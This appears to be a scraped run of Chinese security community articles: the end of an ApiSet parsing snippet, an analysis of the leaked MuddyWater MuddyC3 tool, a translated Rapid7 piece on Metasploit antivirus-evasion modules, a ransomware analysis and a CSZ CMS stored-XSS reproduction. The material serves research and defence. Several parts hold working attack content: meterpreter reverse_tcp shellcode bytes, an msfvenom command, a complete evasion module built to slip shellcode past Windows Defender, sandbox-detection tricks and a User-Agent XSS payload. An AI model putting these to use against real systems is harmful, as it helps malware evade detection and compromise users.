LIEF::PE::Section sec = bin->get_section(".apiset");
std::vector<uint8_t> sec_data = sec.content();
PAPI_SET_NAMESPACE pnamespace = (PAPI_SET_NAMESPACE)(sec_data.data());
UINT_PTR namespace_addr = (UINT_PTR)pnamespace;
PAPI_SET_NAMESPACE_ENTRY pnamespace_entry = (PAPI_SET_NAMESPACE_ENTRY)(namespace_addr + pnamespace->EntryOffset);
uint32_t i = 0, j = 0;
UNICODE_STRING origin_name, forward_name;
for (i = 0; i < pnamespace->Count; i++)
{
origin_name.Buffer = (wchar_t *)(namespace_addr + pnamespace_entry->NameOffset);
origin_name.Length = pnamespace_entry->NameLength;
origin_name.MaximumLength = pnamespace_entry->NameLength;
printf("%wZ.dll -> ", &origin_name);
PAPI_SET_VALUE_ENTRY pvalue_entry = (PAPI_SET_VALUE_ENTRY)(namespace_addr + pnamespace_entry->ValueOffset);
for (j = 0; j < pnamespace_entry->ValueCount; j++)
{
forward_name.Buffer = (wchar_t *)(namespace_addr + pvalue_entry->ValueOffset);
forward_name.Length = pvalue_entry->ValueLength;
forward_name.MaximumLength = pvalue_entry->ValueLength;
printf("%wZ", &forward_name);
if ((j + 1) != pnamespace_entry->ValueCount)
{
printf(", ");
}
if (pvalue_entry->NameLength != 0)
{
origin_name.Buffer = (wchar_t *)(namespace_addr + pvalue_entry->NameOffset);
origin_name.Length = pvalue_entry->NameLength;
origin_name.MaximumLength = pvalue_entry->NameLength;
printf(" [%wZ]", &origin_name);
}
pvalue_entry++;
}
printf("\n");
pnamespace_entry++;
}
return 0;
}
运行结果如图所示：
## 参考链接
* <https://blog.quarkslab.com/runtime-dll-name-resolution-apisetschema-part-i.html>
* <https://blog.quarkslab.com/runtime-dll-name-resolution-apisetschema-part-ii.html> | 社区文章 |
# APT组织污水（MuddyWater）新武器MuddyC3代码泄露与分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
今年5月初，有黑客成员在Telegram渠道（Channel：GreenLeakers）披露其拥有据称APT组织MuddyWater网络攻击的证据和资料，并进行售卖。
MuddyWater被普遍认为是一个来自中东地区的，长期活跃的APT组织。从2019年2月到4月，该组织发起了一系列针对土耳其、伊朗、阿富汗、伊拉克、塔吉克斯坦和阿塞拜疆的政府、教育机构、金融、电信和国防公司的网络钓鱼电子邮件攻击。
其Web控制后台的界面：
以及一个其研制的渗透工具，从Banner上可以看出为muddyc3，版本号为1.0.0。
昨日（6月24日）另外一个telegram channel泄露了一份muddyc3的源码并进行了相关拍卖。
后续也有安全研究人员在Github上发布了相关恶意样本和反编译的源码https://github.com/0xffff0800/muddyc3，其版本同样为1.0.0。
## 分析
我们在了解到该muddyc3信息后，在搜索引擎进行搜索，发现了两个名为muddyc3.exe的样本。
### 反编译
我们发现其中一个样本是在x64环境下的PyInstaller打包的版本，从Banner信息可以看到其版本为v1.0.1。
尝试对其进行反编译，可以利用PyInstaller的archive_viewer脚本提取对应的pyc脚本，但由于脚本运行是需要用户交互指定反编译文件名，所以可以定制代码将所需要反编译的pyc全部提取，提取后需要修复pyc的头部magic信息。或者为了方便直接使用pyinstxtractor脚本。
还原成pyc文件后，用相关反编译工具，如Easy Python Decompiler或者uncompyle6。在实际过程中，发现部分文件使用Easy
Python Decompiler会出现反编译错误。另外从pyc幻数得知其编译环境是Python 2.7版本。
最后剔除内部库，得到源码：
### 功能和代码分析
版本1.0.1和1.0.0版本从代码结构上只有少量不同，下图为入口界面截图
运行开始需要指定C&C服务器IP和端口，以及是否使用代理的IP。
主要实现了list，show，use和payload四个命令，而show命令在实际代码中不存在对应处理逻辑。
并且列举了一些示例初始载荷的实现方式，初始脚本载荷代码可以嵌在如文档宏等方式，而当攻击目标触发了初始脚本执行后，其会以指定路径访问控制IP。
该工具主体是基于web.py实现的一个服务端（lib目前下其实为web.py库实现），用于和被控主机实现请求响应和命令交互，其中v1.0.0版本和v1.0.1版本的交互url路径列表不太相同。
V1.0.0
V1.0.1
其主要实现像sct、hta、powershell形态的下阶段载荷和上传、下载、信息回传等，以及支持模块。
由于其打包的exe控制程序并没有包含默认的powershell载荷代码，所以无法进一步得知。
例如这里我们尝试访问根路径。
尝试访问/hta路径。
其进行了简单的字符替换和base64编码，实际为：
## 总结
从反编译的控制程序实现的完备性来看，应该为MuddyWater组织的早期使用版本，可以作为一个基本的后渗透框架的雏形。
奇安信威胁情报中心红雨滴团队也将继续关注相关组织的更多进展。
## IOC
daa7d4c40ffaa6cf4e4708747d3a9b37
146cc97df36cb4cea39074652d069519
## 参考链接
https://github.com/kennethreitz-archive/pyinstaller/blob/master/ArchiveViewer.py
https://github.com/countercept/python-exe-unpacker | 社区文章 |
原文：<https://www.rapid7.com/info/encapsulating-antivirus-av-evasion-techniques-in-metasploit-framework>
# **引言**
* * *
一直以来，Rapid7的[Metasploit](https://www.rapid7.com/products/metasploit/
"Metasploit")团队都在致力于研究针对常规防病毒（AV）软件的免杀技术，以及将这些技术集成到Metasploit的方法，以使更多的安全社区可以提前了解这些技术，从而制定相应的防御措施。现在，这项研究的成果，即[Metasploit框架](https://www.metasploit.com/download
"Metasploit框架")的第一个“免杀模块”终于与大家见面了。
借助于新面世的免杀模块类型，Framework用户可以直接生成具有免杀效果的有效载荷，而无需安装外部的工具。与此同时，它还为开发人员提供了一个框架，使他们可以利用Metasploit的研究成果来创建自己的免杀模块。在本文中，我们不仅详细介绍了支撑Metasploit免杀功能的相关模块，同时，我们还给出了创建免杀模块的示例代码。
Metasploit是非常幸运的，因为它拥有一个充满激情、多元化的用户和贡献者社区，并且社区成员都乐于公开讨论和集体学习。之所以公布该项研究的详情，不仅是为了加强安全防御，同时，也是为了便于与构建、测试和研究AV和[端点检测和响应软件](https://www.rapid7.com/solutions/endpoint-detection-and-response/ "端点检测和响应软件")的安全人员进行协作。
# **防病毒软件：第一道安全防线**
* * *
从攻击者的角度来看，AV是他们在试图攻陷目标机器时面临的第一道防线。在过去，这道门槛相对较低，因为大多数AV产品都依赖于基于签名的检测技术，所以，攻击者可以轻松绕过它们。如今，除静态扫描之外，恶意行为识别技术是在多个层次上进行的，包括启发式、行为式和基于云的检测。随着检测技术的进步，攻击者变得更加难以得手，不过，这也容易让终端用户变得过于自信。
AV并非防御网络攻击的灵丹妙药，特别是在出现新漏洞时。只要给攻击者一个机会，他们就能成功拿下目标。
从工程角度来看，存在多种有效的AV免杀方法；我们的应用场景要求我们支持各种免杀技术，同时，还需要兼容经典的shellcode。为了实现这些目标，我们开发了一种全新的免杀模块类型，在其中封装了我们的免杀研究成果，并允许社区定义和实现自己的免杀技术。此外，我们还捆绑了一些新的库，将常规的AV免杀工具集成到了新的模块类型中，其中包括：
* 一个可以从Metasploit内调用的定制编译器
* 随机代码生成器
* 加密算法/编码器和解密算法/解码器
* 反仿真功能
# **Metasploit C编译器**
* * *
从技术上讲，Metasploit
Framework的C编译器实际上就是Metasm的包装器，Metasm是一个Ruby库，可用于汇编、反汇编和编译C代码。目前，用于构建免杀shellcode的Metasploit基础架构仅能生成Windows可执行文件。当然，读者也可以通过修改Metasploit的源代码，来支持其他操作系统、体系结构和编译器后端，为此，可以参考Metasploit::Framework::Compiler::Windows
类。
我们之所以创建这个包装器，不仅是为了便于用户通过Metasm编写C代码来生成shellcode，同时，也更易于调用Windows
API，就像在普通的C程序中一样。在此之前，要想使用Metasploit中的Windows
API的话，开发人员必须从头开始定义函数、常量、结构等。为了简化开发过程，我们添加了对C预处理器#include语法的支持，以及Windows开发过程中经常用到的内置头文件，如String.h、Winsock2.h、stdio.h、Windows.h、stddef.h和stdlib.h，这些头文件位于data/headers/windows目录下面。
Metasploit的C编译器的实际库代码位于lib/metasploit/framework/compiler目录中。这个编译器的包装器的体系结构如下图所示：
使用这个编译器时，只需借助两个函数就可以构建一个可执行文件，它们分别是：
Metasploit::Framework::Compiler::Windows.compile_c(code)
和：
Metasploit::Framework::Compiler::Windows.compile_c_to_fle(fle_path, code)
默认情况下，该编译器将生成一个Windows PE文件（.exe）。此外，我们还可以通过传递 :dll选项来构建Windows DLL，具体如下例所示：
# **代码的随机化处理**
* * *
随机化是一种混淆技术，它使可执行文件具有唯一性，这意味着很难(如果不是不可能的话)生成静态AV签名，同时，也会重挫用于分析恶意代码的反编译工具。使用Metasm时，我们能够在编译器级别对有效载荷进行随机化处理，因此，它带来的随机性，远非在静态程序集中简单地移动操作码所带来的随机性可比。此外，Metasm二进制文件的结构也不同于典型的Windows
PE文件，这也是我们可以利用的一个优势。例如，常见的反编译工具IDA
Pro无法在Metasm生成的PE文件中交叉引用字符串或函数。同时，导入表将显示为已经损坏，并且对于逆向工程师而言，其中的函数调用也是极其杂乱的。
Metasploit的CRandomizer类将通过模板系统来创建一些随机的C代码，随后将其注入到用户希望对其进行随机化处理的shellcode的周围。代码的随机程度被定义为0到100之间的一个值：这个值越大，添加的随机代码越多。只要具有足够高的随机程度，用户每次都可以生成一份独一无二的二进制代码。此外，在代码的测试期间，也可以禁用随机化处理。
Metasploit的CRandomizer由多个部分组成，分别是：Code Factory、Modifer、Parser和Utility类。
它们之间的关系如下图所示：
# **Code Factory类**
* * *
Metasploit模块Code
Factory中托管了一组随机代码存根，这些存根将用于注入到要进行随机化的目标源代码中。实际上，这些存根可以包含任意的C代码，例如条件语句、函数和Windows
API调用。不过，由于这些存根往往很小，所以，大多数AV供应商都将其视为无害的。
如果这些存根需要使用本机API调用的话，可以使用@dep属性来声明相应的依赖关系。如果被混淆的源代码不支持某个所依赖的API调用，Code
Factory会自动将其排除。之后，Code Factory将继续搜索，直到找到所有适合的存根为止。
以下示例代码演示了如何为Code Factory创建一个新的存根，其作用是输出一行文本：
在开发存根代码时，请避免下列行为，因为这些行为会增加被AV识别出来的风险，而不是降低相应的风险：
* 分配大量内存
* 标记或分配可执行内存
* 循环
* 加载被引用的区段、资源或.data
* Windows API的反调试功能
* 大量的函数调用
* 独特字符串（Unique strings）
* 用于访问Windows注册表或文件系统的API
* XOR运算符
* 手写汇编代码
* 恶意软件特有的可疑代码模式
# **Modifer类**
* * *
Modifer可以与Code
Factory类一起使用，以确定注入代码存根的适当位置。它会逐行遍历原始代码，并根据用户指定的随机化参数求出相应的间隔，来添加代码存根。为了支持新的编程语言，可以创建新的Modifer类。
# **Parser类**
* * *
Parser类使用Metasm的底层C解析器将用户提供的源代码转换为可解析的格式，然后将其传递给Modifer类进行相应的处理。
# **Utility类**
* * *
Utility类为CRandomizer类提供了便于使用的API。由于CRandomizer可以与Metasm搭配使用来自动生成可执行文件，因此，开发人员只要调用下面的方法，就能创建出独一无二的二进制文件：
Metasploit::Framework::Compiler::Windows.compile_random_c
或者:
Metasploit::Framework::Compiler::Windows.compile_random_c_to_fle
Metasploit还提供了独立版本的编译器，具体位于tools/exploit/random_compile_c.rb。
# **加密功能**
* * *
# **Shellcode的保护措施**
* * *
众所周知，为了适应各种[渗透测试](https://www.rapid7.com/solutions/penetration-testing/
"渗透测试")场景，Metasploit提供了大量的有效载荷。然而，不仅编写高质量的有效载荷和shellcode是一项工程挑战，同时，对于有效载荷的保护也非常重要，这样它们就不会被轻易提取指纹了。如果读者想要了解Metasploit有效载荷是如何演变的，则需要考察其来源。
过去，Metasploit的有效载荷是利用与位置无关的汇编编写而成的shellcode。之所以如此设计，主要是为了实现有效载荷与漏洞利用代码之间的轻松配对。简而言之，漏洞利用代码的工作是设法让程序崩溃，将指令流重定向到包含shellcode的内存区域，最终执行注入的代码。这种环境所施加的限制使得有效载荷的开发变得困难重重。有时，某些漏洞利用场景只能为有效载荷提供非常狭小的内存空间，所以，与正常程序相比，这就要求有效载荷占用的内存必须非常少。而且，当我们修改Metasploit中的一段常规shellcode代码时，我们必须十分小心，否则就会破坏其他漏洞利用代码。因此，在安全研究人员间，Shellcode代码的开发工作，远不如漏洞利用代码和后续利用工具的开发那样受欢迎。这样一来，在漏洞利用代码工具包中，有效载荷通常就是更新频率最低的那部分，因此，我们无需考虑程序的行为，只需单独借助于shellcode，就能检测出相应的漏洞利用代码。
例如，我们可以用下面的程序为例进行说明，它只是嵌入了Metasploit的windows/meterpreter/reverse_tcp有效载荷，但并没有执行：
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xac\x10\x0a\xc9" "\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main(void) {
return 0;
}
尽管这个程序并没有做出格的事情，它仍然被许多AV供应商标记为恶意软件。甚至某些防病毒软件直接将其标识为“Meterpreter”。（值得注意的是，除了Meterpreter之外，这个shellcode还可以承载许多其他有效载荷，因此从技术的角度上来说，这种分类方法是不恰当的）。
为了防止shellcode被轻而易举地从可执行文件中检出，最简单的方法就是进行编码或加密处理。其中，基于密钥的加密是最有效的解决方案，因为要想成功破解的话，需要很高的计算成本。目前，为了便于对有效载荷进行模糊处理，Metasploit框架提供了许多方法，包括AES256-CBC、RC4、XOR和Base64；当然，不同的处理方法，带来的免杀效果也是不同的：
要想启用加密功能，需要为msfvenom命令提供--encrypt标志，具体如下所示：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c
类似地，Metasploit也提供了获得相同效果的API:
Msf::Simple::Buffer.transform(payload.encoded, 'c', 'buf', format: 'rc4', key: rc4_key)
即使经过简单的编码处理，shellcode也会变得更加难以检测：
加密API也可以在Metasploit的新C环境中使用。例如，下面是一个处理RC4加密块的shellcode示例：
#include <rc4.h>
int main(void) {
// Prepare the arguments
RC4(RC4KEY, payload, (char*) lpBuf, PAYLOADSIZE);
return 0;
}
处理Base64加密块的shellcode示例：
#include <base64.h>
int main() {
// Prepare for arguments
base64decode(lpBuf, BASE64STR, base64StrLen);
return 0;
}
处理XOR加密块的shellcode示例：
#include <Windows.h>
#include <String.h>
#include <xor.h>
int main(int args, char** argv) {
// prepare for arguments
xor((char*) lpBuf, xorStr, xorKey, strlen(xorStr));
return 0;
}
与Metasploit现有的加密和编码块相比，这些块的设计考虑到了传统的shellcode。但是，由于内置C编译器的功能非常强大，所以，就算是非常复杂的算法，比如AES算法，也可以轻松应用到shellcode中。
# **反仿真功能**
* * *
在我们进行免杀研究的早期阶段，我们注意到，只有当以特定方式调用某些Windows API时才会触发Windows
Defender，例如，检查[IsDebuggerPresent](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345\(v=vs.85).aspx
"IsDebuggerPresent")的输出、通过[VirtualAlloc](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887\(v=vs.85).aspx
"VirtualAlloc")或[VirtualProtect](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898\(v=vs.85).aspx
"VirtualProtect")分配具有RWX权限的内存、使用[CreateFile](https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-createfilea
"CreateFile")时，等等。我们怀疑Windows Defender会拦截这些API调用，并查找可疑行为，因此，我们考察了Windows
Defender的mpengine.dll组件（执行该任务的核心引擎），并发现了一些有趣的结果
Windows
Defender的仿真引擎非常容易搞到手，既可以在现代Windows系统上找到它，也可以直接从Microsoft的[定义更新](https://www.microsoft.com/en-us/wdsi/definitions#manual
"定义更新")页面下载。值得高兴的是，Microsoft还为mpengine.dll提供了调试符号，所以，理解起来应该会方便得多了。
虽然Windows
Defender的模拟器是一个非常复杂的分析引擎，但恶意软件作者仍然可以设法利用它来实现免杀。下面，我们将考察CreateProcessA
API，分析引擎将利用mpengine.dll中的Mpengine!KERNEL32_DLL_CreateProcessA对其进行模拟。在IDA
Pro中，相应的代码如下所示：
当我们检查这个反汇编后的函数的图形视图的第一个节点时，变量pe_set_return_值立即引起了我们的关注：
这个函数有两个参数，相应的伪代码如下所示：
pe_set_return_value(1, 0);
在pe_set_return_value中，第一个参数（ebp+arg_0）被传递给一个名为DTProcessor_32::setreg的函数：
上面的调用图基本上等价于下列代码：
// 0x32 is hex for 50 (in decimal)
// 1 is our frst argument for pe_set_return_value
setreg(0x32, 1);
在setreg函数中，有一个switch语句，它使用第一个参数作为其条件变量。因此，当值为0x32（十进制数为50）时，我们将抵达该代码块：
换句话说，CreateProcessA的返回值始终为1。根据该API的MSDN文档中的相关介绍：
返回值
如果函数成功，则返回值为非零值。
如果函数失败，则返回值为零。要获取更详细的错误信息，请调用GetLastError。
请注意，该函数会在进程初始化之前返回。如果找不到所需的DLL或初始化失败，则终止该进程。要获取进程的终止状态，请调用GetExitCodeProcess。
这意味着，如果我们故意使函数失败并检查返回值是否为0，我们应该能够被动地识别出代码是否位于沙箱之中。例如：
这只是其中的一个例子，实际上，相当多的API在mpengine.dll中的行为，与沙箱外的行为都存在差异，并且，我们只要使用其中一个这样的API，就足以搞清楚代码是否位于沙箱之中。为了防止攻击者检测出Windows
Defender的仿真API，Windows Defender必须全面地模拟其Hook的Windows API的所有的行为，包括其中的"古怪"行为。
鉴于Windows Defender的市场份额巨大，并且是许多现代Windows机器的第一道防线，所以，安全社区自然不会放过它。例如，我们从[Alexei
Bulazel](https://twitter.com/0xAlexei "Alexei Bulazel")的一次演讲中（“[Reverse
Engineering Windows Defender’s Antivirus
Emulator](https://i.blackhat.com/us-18/Thu-August-9/us-18-Bulazel-Windows-Offender-Reverse-Engineering-Windows-Defenders-Antivirus-Emulator.pdf "Reverse
Engineering Windows Defender’s Antivirus Emulator")”），发现了许多与仿真器由关的梗，下面仅举几例：
* GetUserNameA将返回用户名“JohnDoe”
* GetComputerNameExA会返回“HAL9TH”
* 虚拟文件系统中存在伪配置文件
* Winsock库包含的字符串经常以“Mp”开头
# **免杀模块类型**
* * *
为了将现有成果和未来的免杀研究成果结合到一个便于访问的格式中，我们为Metasploit框架添加了一个新的模块类型：“evasion”。这种新型模块将允许安全社区方便地创建和共享免杀技术，而无需调用msfvenom或msfconsole来生成初始有效载荷。相反，免杀技术可以直接集成到Metasploit框架中
免杀模块的功能类似于Metasploit中的[文件格式漏洞利用](https://github.com/rapid7/metasploit-framework/wiki/How-to-Use-the-FILEFORMAT-mixin-to-create-a-file-format-exploit
"文件格式漏洞利用")，因为两者的输出都是文件。免杀模块的不同之处在于，它不会自动启动有效载荷处理程序，当然，它的目标（AV和其他检测工具）与文件格式漏洞利用（易受攻击的软件）的目标不同。这样的话，用户就能够以自己想要的风格或格式来生成代码，而无需定义漏洞利用模块所需的各种方法或元数据。
免杀模块类型与其他模块类型的级别是并列的，这些模块类型包括：辅助模块、编码器模块、漏洞利用模块、Nop模块、有效载荷模块和Post模块。下面的代码结合了上面解释的所有免杀技术，创建一个完整的模块，截至本文发布之日为止，该模块完全可以绕过Microsoft
Windows Defender的检测：
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/compiler/windows'
class MetasploitModule < Msf::Evasion
def initialize(info={})
super(merge_info(info,
'Name' => 'Microsoft Windows Defender Evasive Executable',
'Description' => %q{
This module allows you to generate a Windows EXE that evades against Microsoft
Windows Defender. Multiple techniques such as shellcode encryption, source code obfuscation, Metasm, and anti-emulation are used to achieve this.
For best results, please try to use payloads that use a more secure channel such as HTTPS or RC4 in order to avoid the payload network traffc getting caught by antivirus better.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' => [ ['Microsoft Windows', {}] ]
))
end
def rc4_key
@rc4_key ||= Rex::Text.rand_text_alpha(32..64)
end
def get_payload
@c_payload ||= lambda {
opts = { format: 'rc4', key: rc4_key }
junk = Rex::Text.rand_text(10..1024)
p = payload.encoded + junk
return {
size: p.length,
c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)
}
}.call
end
def c_template
@c_template ||= %Q|#include <Windows.h>
#include <rc4.h>
// The encrypted code allows us to get around static scanning
#{get_payload[:c_format]}
int main() {
int lpBufSize = sizeof(int) * #{get_payload[:size]};
LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT,| Rapid7.com Encapsulating Antivirus (AV) Evasion Techniques - 20
0x00000040);
memset(lpBuf, '\\0', lpBufSize);
HANDLE proc = OpenProcess(0x1F0FFF, false, 4);
// Checking NULL allows us to get around Real-time protection
if (proc == NULL) {
RC4("#{rc4_key}", buf, (char*) lpBuf, #{get_payload[:size]});
void (*func)();
func = (void (*)()) lpBuf;
(void)(*func)();
}
return 0;
}|
end
def run
vprint_line c_template
# The randomized code allows us to generate a unique EXE
bin = Metasploit::Framework::Compiler::Windows.compile_
random_c(c_template)
print_status("Compiled executable size: #{bin.length}")
file_create(bin)
end
end
当然，这里给出的这个示例，只是用来展示的。实际应用时，请务必检查Metasploit框架树中的最新代码，因为这些模块API会随着时间的推移而发生变化和改进。
# **结束语**
* * *
我们在Metasploit中引入了多项支持AV免杀的新功能，其中包括代码随机化框架，新型的AV仿真检测代码，编码和加密例程，以及新型的免杀模块类型。在这些功能的帮助下，如今向Metasploit
Framework添加免杀技术已经变得前所未有的简单。安全模块开发人员和渗透测试人员都能从中受益良多，这些新功能不仅可以帮助渗透测试人员构建突破用户部署的防御工具，还能帮助研究人员和开发人员改进和测试防御工具，同时，还能帮助IT专业人员能够更有效地了解不断涌现的各种攻击技术。
我们欢迎来自AV社区的讨论和合作，共同关注改进Metasploit中的逃避技术和AV软件中的防御措施。对于现有的Metasploit框架用户，可以从[Github](https://github.com/rapid7/metasploit-framework "Github")下载最新的主分支，或者下载最新的Metasploit 5综合开发包来访问这些新的免杀功能。
Metasploit是Rapid7与开源社区之间的合作成果。我们共同致力于为防御者提供世界级的安全内容，以提升大家理解、利用和共享漏洞的能力。要下载Metasploit，请访问metasploit.com网站。 | 社区文章 |
## 一 背景：
近期，一款新型的勒索软件在网上流传，与一般勒索文档型的勒索软件最大不同有以下两点，一是该勒索软件会加密用户的所有文件格式，而不仅仅是文档类型的格式文件。二是该勒索软件并没有向受害用户提供支付赎金的钱包地址等信息。
该勒索软件会将加密后的文件扩展名重新定义为.fucking，因此，我们将其命名为fucking勒索软件。由于赎金的支付方式也没有在勒索软件中有所体现，这看起来更像是定向勒索或者恶作剧软件。
该勒索软件并没有支付赎金的说明文件等内容，更可能是通过在社交群中或者共享盘中传播，恶意软件作者在传播勒索软件时，会通过另外的方式留下自己的联系方式。一种可能的攻击场景是勒索木马作者自己建立一个用户圈子，通过欺骗等手段向圈子里的用户发送勒索软件，在圈子里的用户发现文件被勒索后，通过这个圈子，找到木马作者，而此时木马作者再向受害用户索要赎金。
勒索成功后，弹出的解密对话框如下：
文件加密后的显示结果如下：
## 二 分析：
恶意软件的详细的文件信息：
而勒索程序体积很小，只有125,952 字节。
勒索程序使用C#编号，反编译后，代码结构图如下，可以看到程序的代码做了一定的混淆：
通过分析勒索程序的窗口类，可以看到程序带有3个form界面，其中的form1隐藏运行，并不会显示出窗口，用于遍历文件和加密文件。Form2用来显示提示用户输入解密密码。Form3只有在输入了正确的解密密码后才出显示出来，在没有正确的解密密码时，不会看到form3的界面。
每个form控件的功能如下：
Form1 加密文件，隐藏运行
Form2 提示用户输入解密密码
Form3 解密文件，只有在form2中输入了正确的密码才会显示
我们将分析其对文件的加密与解密过程。
### 加密过程
在加密时，会隐藏加载form1界面，Form1界面中会有listbox控件，用来存放遍历到的要加密的文件路径，遍历指定文件夹下的文件，将文件路径加入到form1中的listbox1控件中，然后在定时器到时后，加密listbox1中的文件
Form1的隐藏运行：
遍历目录，遍历的根目录到盘符Z：
遍历到文件后，判断文件名是不是以fucking结尾，如果不是fucking后缀，就将文件名加入到listbox1列表中。
最后程序会设置一个计时器，当计时器到达时间时，会将listbox1控件中的文件取出来，进行加密，下面为生成加密KEY及加密文件的过程
对文件的加密使用了AES对称加密算法。
AES算法中使用的 Key 和 IV的计算过程如下：
计算硬编码的字符串"FucktheSystem"的sha512的hash值，hash结果的十六进制表示如下：
DB 5D 07 9E FA 07 AE A3 EE 81 64 DB 76 D9 6A BE
EB BE 3E 71 8F 36 B1 E7 E0 DA 94 16 90 C8 18 84
62 F1 01 62 03 F2 D1 89 E6 39 34 6B 5B 24 35 D3
72 1F ED 11 C7 0C 3C 29 0F 7F 72 EE F5 1B 64 62
取该hash值最前面的0x20字节做为Key, 下图中的绿色框部分
取该hash 偏移0x20-0x30的内容做为IV，下图中的红色框部分
计算key的代码如下：
计算IV的过程与上面计算key的过程类似，在此不再赘述。
Timer1时间间隔100ms，到达时间后，就是调用加密过程
对文件的加密过程的调试，可以看到
将“C:\Users\forrest\Documents\desktop.ini”
加密成“C:\Users\forrest\Documents\desktop.ini.fucking”
使用的key和IV分别如下图所示
### 解密过程：
form2窗口对应着解密窗口，显示如下：
但用户输入密码后，程序会在后台判断是否与指定的密码相同，如果密码正确就会弹出form3进行解密文件，否则就会弹出下面的出错提示。
对密码的判断逻辑，可以看到程序将用户输入的密码与一个函数的返回值进行了比较，如果相同，就调用form3的显示函数，并把form2隐藏，如果不相同，刚弹出出错对话框：
其中的m4bpguG5abU260W8Ln类为程序作者自定义的字符串操作类，m4bpguG5abU260W8Ln类的iAGT7PZUW方法为取得指定偏移处的字符串，类似于C语言中的substring的函数。
iAGT7PZUW函数内部实现过程：
从上面的代码可以看出密码保存在偏移1124(十进制)的位置。在此时，也可以将字符表dump出来，保存到本地进行查看。
第一个DWORD为字符大小，这里为0000002c
通过下面可以看到偏移1124(十进制)位置处的字符串长度为：0x2c,字符串内容为：“maaf saya lupa passnya”
因此，可以得到Form2的解密密码“maaf saya lupa passnya”。
输入正确的密码后，form2界面会隐藏，form3界面会显示出来 ,程序会在后台遍历保存的文件名，利用AES将其解密成原始文件。
## 三 数据恢复：
在弹出的窗口中输入密码：maaf saya lupa passnya，就可成功解密文件
解密成功后的截图如下：
## 四 总结
Fucking勒索软件与传统的aes+rsa的勒索软件不同，它设计思路简单，与我们以前分析的sega勒索相比，它的设计思路简直就是渣渣。与我们以前分析的CryptoShield
勒索家族相比，CryptoShield
家族至少做到了一机一密，而Fucking勒索软件的密码是固定的，对所有的机器都使用统一的密码，这一方面因为它不是面向大众传播的，而是针对特定的人群，通过特定的渠道传播，另一方面也可能是由于勒索作者的编程水平所限。
如果您被此类勒索软件勒索，建议尝试使用密码“maaf saya lupa
passnya”进行解密尝试，如果不能成功解密，可能是恶意软件作者进行了代码升级，建议联系专业的安全研究人员进行分析解密。
CryptoShield 勒索分析请参照：<https://xianzhi.aliyun.com/forum/read/726.html>
sega勒索分析请参照：<https://xianzhi.aliyun.com/forum/read/799.html> | 社区文章 |
# CSZ CMS 1.2.7 xss分析与复现
## 简介
**CSZ CMS** 是一个开源Web应用程序，允许管理网站上的所有内容和设置。CSZ
CMS是在Codeigniter3的基础上构建的，并设计了Bootstrap3的结构，这应该使您的网站轻松响应。
**CSZ CMS** 基于服务器端脚本语言PHP，并使用MySQL或MariaDB数据库进行数据存储。 **CSZ CMS** 是开源的内容管理系统。
## 漏洞概述
拥有访问私有消息的未授权用户可以向管理面板嵌入Javascript代码。
## 影响版本
1.2.7
## 环境搭建
下载地址：<https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.2.7.zip/download>
按照指示安装即可
## 漏洞复现
新建一个用户
点击inbox发送私信，选定管理员用户
修改User-Agent为`<script>alert(1)</script>`
管理员登陆后台即触发xss
## 分析
查看数据库中的email_logs可知，将访问的user-agent存储到了数据库中
我们首先观察路由，漏洞点在/member/insertpm页面，查看控制器，找到cszcms/controllers/Member.php
找到insertpm方法：
关注点在下半部分：
$this->input->post即是调用的system/core/Input.php的post方法：
